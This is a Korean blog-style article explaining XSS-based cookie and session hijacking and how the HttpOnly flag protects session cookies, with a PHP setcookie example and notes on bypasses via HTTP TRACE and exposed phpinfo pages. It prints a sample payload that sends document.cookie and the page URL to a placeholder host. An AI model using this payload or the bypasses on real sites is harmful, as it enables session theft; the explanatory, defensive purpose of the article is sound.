www 서비스의 등장과 함께 점점 더 많은 애플리케이션이 B/S 구조로 전환되어 단 하나의 브라우저로 다양한 웹 서비스에 접근할 수 있게 되었지만, 이는 점점 더 많은 웹 보안 문제로 이어지고 있습니다. www 서비스는 Http 프로토콜에 의존하며, Http는 상태 없는 프로토콜이기 때문에 세션 간 정보를 전달하기 위해 방문자의 상태를 표시하기 위해 쿠키나 세션 및 기타 기술을 사용하는 것이 불가피하며, 쿠키든 세션이든 일반적으로 쿠키를 사용하여 구현됩니다(세션은 실제로 브라우저 쿠키 내 토큰으로 표시됩니다, 서버는 이 토큰을 확보하고 정당성을 확인하며, 서버에 저장된 해당 상태를 브라우저에 묶어 안전하게 쿠키에 집중하게 됩니다. 이 쿠키만 확보하면 다른 사람들의 신원도 얻을 수 있는데, 이는 침입자에게 매우 좋은 일입니다. 특히 관리자와 같은 고위 권한 소유자의 쿠키라면 더 큰 피해가 발생합니다. 다양한 웹 보안 문제 중에서 XSS 취약점은 특히 위험합니다.
애플리케이션의 경우, XSS 취약점이 생기면 다른 사람들이 임의의 JS 스크립트를 브라우저에서 실행할 수 있고, 애플리케이션이 오픈 소스이거나 함수가 공개되어 있다면 다른 이들이 Ajax를 사용해 이 기능을 사용할 수 있지만, 특히 다른 사람의 신원을 직접 얻어 가벼운 탐색을 할 때는 이 과정이 번거롭습니다. 일부 대형 사이트의 웹 백그라운드와 같은 비오픈 소스 애플리케이션(web2.0의 중요한 특징 중 하나는 많은 상호작용이 있다는 점으로, 사용자는 종종 버그 리포트나 정보 전달 등 관리자와 백그라운드에서 상호작용해야 하는 경우가 많습니다). 상호작용이 존재하기 때문에 사이트 간 스크립팅 취약점이 있을 수 있지만, 백그라운드에 대한 이해가 부족하기 때문에 완벽한 ajax 코드를 구축하는 것은 불가능합니다. 설령 js로 백그라운드 코드를 얻고 분석을 위해 반환할 수 있더라도 이 과정은 번거롭고 숨겨지지 않습니다. 현재로서는 xss 취약점을 이용해 쿠키나 세션 하이재킹을 얻고, 애플리케이션 인증을 구체적으로 분석한 뒤, 특정 기법을 사용해 상대방이 프로그램을 종료하더라도 상대방의 신원을 영구적으로 얻는 것이 매우 효과적입니다.
그렇다면 쿠키나 세션 하이재킹은 어떻게 해야 할까요? 브라우저의 문서 객체에는 쿠키 정보가 저장되어 있고, js를 사용하면 쿠키를 조회할 수 있습니다. 이 쿠키를 받으면 다른 사람의 신원을 가질 수 있습니다. 일반적인 XSS 공격 문장은 다음과 같습니다:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
일부 애플리케이션은 이 문제를 해결하기 위해 브라우저 바인딩 기법을 채택하기도 하는데, 예를 들어 쿠키를 브라우저의 사용자 에이전트에 바인딩하고, 쿠키가 발견되면 무효로 간주하는 식입니다. 이 방법은 효과가 없었습니다. 침입자가 쿠키를 훔칠 때 동시에 사용자 에이전트를 확보했기 때문입니다. 또 다른 엄격한 방법은 쿠키를 Remote-addr에 묶는 것으로(사실 IP에 묶여 있지만, 일부 프로그램은 IP 획득 방법에 문제가 있어 이것도 피할 수 있습니다), 이는 사용자 경험이 매우 나빠집니다. IP를 변경하는 경우가 흔하며, 예를 들어 직장과 가정 모두 두 IP가 되어 있어 이 방법은 종종 채택되지 않습니다. 따라서 쿠키 기반 공격이 현재 매우 인기가 많으며, 일부 웹 2.0 사이트에서는 애플리케이션의 관리자 상태를 쉽게 얻을 수 있습니다.
민감한 쿠키를 어떻게 안전하게 지킬 수 있을까요? 위 분석을 통해 일반 쿠키는 문서 객체에서 얻으며, 민감한 쿠키를 브라우저 문서에서 보이지 않게 하면 됩니다. 다행히도 브라우저는 이제 쿠키 설정 시 도메인 등 다른 매개변수와 마찬가지로 HttpOnly 매개변수를 일반적으로 받아들입니다. 이 HttpOnly 설정이 완료되면 브라우저의 문서 객체에서 쿠키를 볼 수 없고, 브라우저 탐색 시 쿠키가 브라우저 헤더(ajax 포함)로 전송되기 때문에 어떤 영향도 받지 않습니다. 애플리케이션은 일반적으로 이러한 민감한 쿠키를 js로 사용하지 않으며, 일부 민감한 쿠키는 HttpOnly를 사용하고, 애플리케이션 내에서 js로 조작해야 하는 쿠키는 설정하지 않아 쿠키 정보의 보안을 보장하고 애플리케이션의 안정성을 보장합니다. HttpOnly에 대한 자세한 내용은 http://msdn2.microsoft.com/en-us/library/ms533046.aspx 를 참조하세요.
브라우저에서 쿠키 설정의 헤더는 다음과 같습니다:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
php를 예로 들면, php 5.2에서 Setcookie 함수에 HttpOnly 지원이 추가되었습니다. 예를 들어:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
abc 쿠키를 HttpOnly로 설정할 수 있으며, 이 쿠키에서는 문서가 보이지 않습니다. setcookie 함수는 본질적으로 헤더이기 때문에, HttpOnly를 설정할 때도 헤더를 사용할 수 있습니다. 그 다음 document.cookie를 사용해 이 쿠키가 더 이상 사용 불가능함을 확인하세요. 이 방법은 인증용 인증 쿠키와 같은 Sessionid를 보호하기 위해 사용하여, 일부 백그라운드 프로그램과 웹메일의 보안을 강화하는 데 매우 중요한 신원 확인 걱정을 덜어줍니다. 위 공격 방법을 다시 사용하면, HttpOnly로 설정한 민감한 쿠키를 더 이상 얻을 수 없습니다.
하지만 HttpOnly가 전역적이지는 않다는 점도 알 수 있습니다. 우선 xss의 문제를 해결할 수 없고, 인내심 많은 해커의 공격을 막지 못하며, 침입자가 ajax 제출을 하는 것을 막을 수도 없습니다. 심지어 일부 xss를 기반으로 한 프록시도 등장했지만, 공격 임계치를 높일 수 있었습니다. 적어도 모든 스크립트 키드가 xss 공격을 완료하는 것은 아니며, 다른 공격 방식들은 환경적·기술적 한계 때문입니다. 쿠키 훔치기만큼 흔하지는 않아요.
HttpOnly는 일부 취약점을 악용하거나 Bypass를 설정할 수도 있는데, 핵심 문제는 브라우저가 쿠키 헤더를 보낼 수 있다면 된다는 점입니다. 예를 들어, 이전의 Http Trace 공격은 헤더에 쿠키를 반환할 수 있으며, 이 공격은 ajax나 flash를 사용해 완료할 수 있습니다. 이 또한 ajax와 flash에서 패치되었습니다. 설정이나 애플리케이션에서 우회할 수 있는 또 다른 주목할 만한 예는 phpinfo입니다. 아시다시피 phpinfo는 브라우저에서 보내는 HTTP 헤더와 우리가 보호하는 인증 정보를 표시합니다. 이 페이지는 여러 사이트에 자주 존재합니다. AJAX를 사용해 phpinfo 페이지를 가져오고, 쿠키를 얻기 위해 헤더 헤더에 해당하는 부분을 빼면 됩니다. 일부 애플리케이션의 결함은 헤더 누수를 유발할 수 있으며, 이는 기본 검증으로 보호되는 페이지만큼 공격받을 수 있습니다.
HttpOnly는 IE 6 이상에서 더 잘 지원되며, Hotmail과 같은 애플리케이션에서 널리 사용되고 비교적 우수한 보안 성과를 달성했습니다.
|
게시됨 2015. 6. 3. 오후 8:57:48
|
|
|
